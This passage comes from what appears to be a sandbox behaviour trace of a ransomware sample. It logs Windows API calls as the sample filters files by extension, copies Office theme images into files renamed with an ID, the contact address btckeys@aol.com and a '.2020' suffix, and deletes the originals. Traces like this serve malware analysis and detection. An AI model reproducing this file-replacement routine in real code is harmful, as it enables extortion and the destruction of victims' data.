lpString2=".PNG") returned -1 [0078.427] lstrlenW (lpString=".docx") returned 5 [0078.427] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.427] lstrlenW (lpString=".pdf") returned 4 [0078.427] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.427] lstrlenW (lpString=".xls") returned 4 [0078.427] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.427] lstrlenW (lpString=".xlsx") returned 5 [0078.427] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.427] lstrlenW (lpString=".ppt") returned 4 [0078.427] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0078.427] lstrlenW (lpString=".zip") returned 4 [0078.427] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.427] lstrlenW (lpString=".rar") returned 4 [0078.427] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.427] lstrlenW (lpString=".bz2") returned 4 [0078.427] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.427] lstrlenW (lpString=".7z") returned 3 [0078.427] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0078.427] lstrlenW (lpString=".dbf") returned 4 [0078.427] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0078.428] lstrlenW (lpString=".1cd") returned 4 [0078.428] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0078.428] lstrlenW (lpString=".jpg") returned 4 [0078.428] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0078.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0078.428] lstrlenW (lpString=".doc") returned 4 [0078.428] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.428] lstrlenW (lpString=".docx") returned 5 [0078.428] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.428] lstrlenW (lpString=".pdf") returned 4 [0078.428] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.428] lstrlenW (lpString=".xls") returned 4 [0078.428] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.428] lstrlenW (lpString=".xlsx") returned 5 [0078.428] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.428] lstrlenW (lpString=".ppt") returned 4 [0078.428] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0078.428] lstrlenW (lpString=".zip") returned 4 [0078.428] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.428] lstrlenW (lpString=".rar") returned 4 [0078.428] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.428] lstrlenW (lpString=".bz2") returned 4 [0078.428] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.428] lstrlenW (lpString=".7z") returned 3 [0078.428] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0078.428] lstrlenW (lpString=".dbf") returned 4 [0078.428] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0078.428] lstrlenW (lpString=".1cd") returned 4 [0078.429] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0078.429] lstrlenW (lpString=".jpg") returned 4 [0078.429] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.429] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0078.429] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0078.429] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1560) returned 1 [0078.429] CloseHandle (hObject=0x1e4) returned 1 [0078.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0078.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0078.430] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.430] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0078.431] GetLastError () returned 0x0 [0078.431] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x618, lpOverlapped=0x0) returned 1 [0078.438] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x620, lpOverlapped=0x0) returned 1 [0078.439] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0078.439] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.439] SetEndOfFile (hFile=0x204) returned 1 [0078.439] CloseHandle (hObject=0x204) returned 1 [0078.439] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.439] SetEndOfFile (hFile=0x1e4) returned 1 [0078.440] CloseHandle (hObject=0x1e4) returned 1 [0078.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0078.440] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0078.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0078.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0078.440] lstrlenW (lpString=".doc") returned 4 [0078.440] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.440] lstrlenW (lpString=".docx") returned 5 [0078.441] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.441] lstrlenW (lpString=".pdf") returned 4 [0078.441] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.441] lstrlenW (lpString=".xls") returned 4 [0078.441] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.441] lstrlenW (lpString=".xlsx") returned 5 [0078.441] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.441] lstrlenW (lpString=".ppt") returned 4 [0078.441] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0078.441] lstrlenW (lpString=".zip") returned 4 [0078.441] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.441] lstrlenW (lpString=".rar") returned 4 [0078.441] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.441] lstrlenW (lpString=".bz2") returned 4 [0078.441] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.441] lstrlenW (lpString=".7z") returned 3 [0078.441] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0078.441] lstrlenW (lpString=".dbf") returned 4 [0078.441] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0078.441] lstrlenW (lpString=".1cd") returned 4 [0078.441] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0078.441] lstrlenW (lpString=".jpg") returned 4 [0078.441] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0078.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0078.441] lstrlenW (lpString=".doc") returned 4 [0078.441] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.441] lstrlenW (lpString=".docx") returned 5 [0078.441] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.441] lstrlenW (lpString=".pdf") returned 4 [0078.442] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.442] lstrlenW (lpString=".xls") returned 4 [0078.442] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.442] lstrlenW (lpString=".xlsx") returned 5 [0078.442] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.442] lstrlenW (lpString=".ppt") returned 4 [0078.442] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0078.442] lstrlenW (lpString=".zip") returned 4 [0078.442] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.442] lstrlenW (lpString=".rar") returned 4 [0078.442] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.442] lstrlenW (lpString=".bz2") returned 4 [0078.442] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.442] lstrlenW (lpString=".7z") returned 3 [0078.442] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0078.442] lstrlenW (lpString=".dbf") returned 4 [0078.442] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0078.442] lstrlenW (lpString=".1cd") returned 4 [0078.442] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0078.442] lstrlenW (lpString=".jpg") returned 4 [0078.442] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.442] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0078.442] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0078.443] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=33009) returned 1 [0078.443] CloseHandle (hObject=0x1e4) returned 1 [0078.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0078.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0078.443] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.443] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0078.444] GetLastError () returned 0x0 [0078.444] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x80f1, lpOverlapped=0x0) returned 1 [0078.449] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x8100, lpOverlapped=0x0) returned 1 [0078.450] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0078.450] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.450] SetEndOfFile (hFile=0x204) returned 1 [0078.450] CloseHandle (hObject=0x204) returned 1 [0078.451] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.451] SetEndOfFile (hFile=0x1e4) returned 1 [0078.452] CloseHandle (hObject=0x1e4) returned 1 [0078.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0078.452] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0078.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0078.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0078.452] lstrlenW (lpString=".doc") returned 4 [0078.452] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.452] lstrlenW (lpString=".docx") returned 5 [0078.452] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.452] lstrlenW (lpString=".pdf") returned 4 [0078.452] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.452] lstrlenW (lpString=".xls") returned 4 [0078.453] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.453] lstrlenW (lpString=".xlsx") returned 5 [0078.453] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.453] lstrlenW (lpString=".ppt") returned 4 [0078.453] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0078.453] lstrlenW (lpString=".zip") returned 4 [0078.453] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.453] lstrlenW (lpString=".rar") returned 4 [0078.453] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.453] lstrlenW (lpString=".bz2") returned 4 [0078.453] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.453] lstrlenW (lpString=".7z") returned 3 [0078.453] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0078.453] lstrlenW (lpString=".dbf") returned 4 [0078.453] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0078.453] lstrlenW (lpString=".1cd") returned 4 [0078.453] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0078.453] lstrlenW (lpString=".jpg") returned 4 [0078.453] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0078.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0078.453] lstrlenW (lpString=".doc") returned 4 [0078.453] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.453] lstrlenW (lpString=".docx") returned 5 [0078.453] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.453] lstrlenW (lpString=".pdf") returned 4 [0078.453] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.453] lstrlenW (lpString=".xls") returned 4 [0078.454] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.454] lstrlenW (lpString=".xlsx") returned 5 [0078.454] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.454] lstrlenW (lpString=".ppt") returned 4 [0078.454] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0078.454] lstrlenW (lpString=".zip") returned 4 [0078.454] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.454] lstrlenW (lpString=".rar") returned 4 [0078.454] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.454] lstrlenW (lpString=".bz2") returned 4 [0078.454] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.454] lstrlenW (lpString=".7z") returned 3 [0078.454] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0078.454] lstrlenW (lpString=".dbf") returned 4 [0078.454] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0078.454] lstrlenW (lpString=".1cd") returned 4 [0078.454] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0078.454] lstrlenW (lpString=".jpg") returned 4 [0078.454] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.454] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0078.454] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0078.455] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1925) returned 1 [0078.455] CloseHandle (hObject=0x1e4) returned 1 [0078.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0078.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0078.455] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.455] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0078.576] GetLastError () returned 0x0 [0078.576] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x785, lpOverlapped=0x0) returned 1 [0078.583] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x790, lpOverlapped=0x0) returned 1 [0078.584] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0078.584] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.584] SetEndOfFile (hFile=0x184) returned 1 [0078.584] CloseHandle (hObject=0x184) returned 1 [0078.584] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.584] SetEndOfFile (hFile=0x1e4) returned 1 [0078.585] CloseHandle (hObject=0x1e4) returned 1 [0078.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0078.586] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0078.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0078.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 